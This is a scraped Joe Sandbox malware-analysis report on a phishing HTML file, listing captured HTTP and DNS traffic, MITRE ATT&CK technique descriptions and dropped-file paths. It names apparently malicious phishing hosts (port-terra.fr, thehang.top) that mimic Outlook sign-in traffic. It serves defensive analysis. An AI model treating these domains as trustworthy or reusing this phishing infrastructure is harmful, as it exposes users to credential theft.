Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/godag.php HTTP/1.1Host: 3kxi2uz.port-terra.frConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/godag.php HTTP/1.1Host: 3kxi2uz.port-terra.frConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mail/ HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/godag.php HTTP/1.1Host: 3kxi2uz.port-terra.frConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mail/ HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/godag.php HTTP/1.1Host: 3kxi2uz.port-terra.frConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mail/ HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/godag.php HTTP/1.1Host: 3kxi2uz.port-terra.frConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
Source: global traffic	HTTP traffic detected: GET /mail/ HTTP/1.1Host: outlook.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mail/ HTTP/1.1Host: outlook.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: t6vgccvtc.thehang.top
Source: global traffic	DNS traffic detected: DNS query: _8443._https.t6vgccvtc.thehang.top
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 3kxi2uz.port-terra.fr
Source: global traffic	DNS traffic detected: DNS query: outlook.office.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Encrypted_Archive_2025_LHC1W64SMW.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\sets.json

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Windows Analysis Report
Encrypted_Archive_2025_LHC1W64SMW.html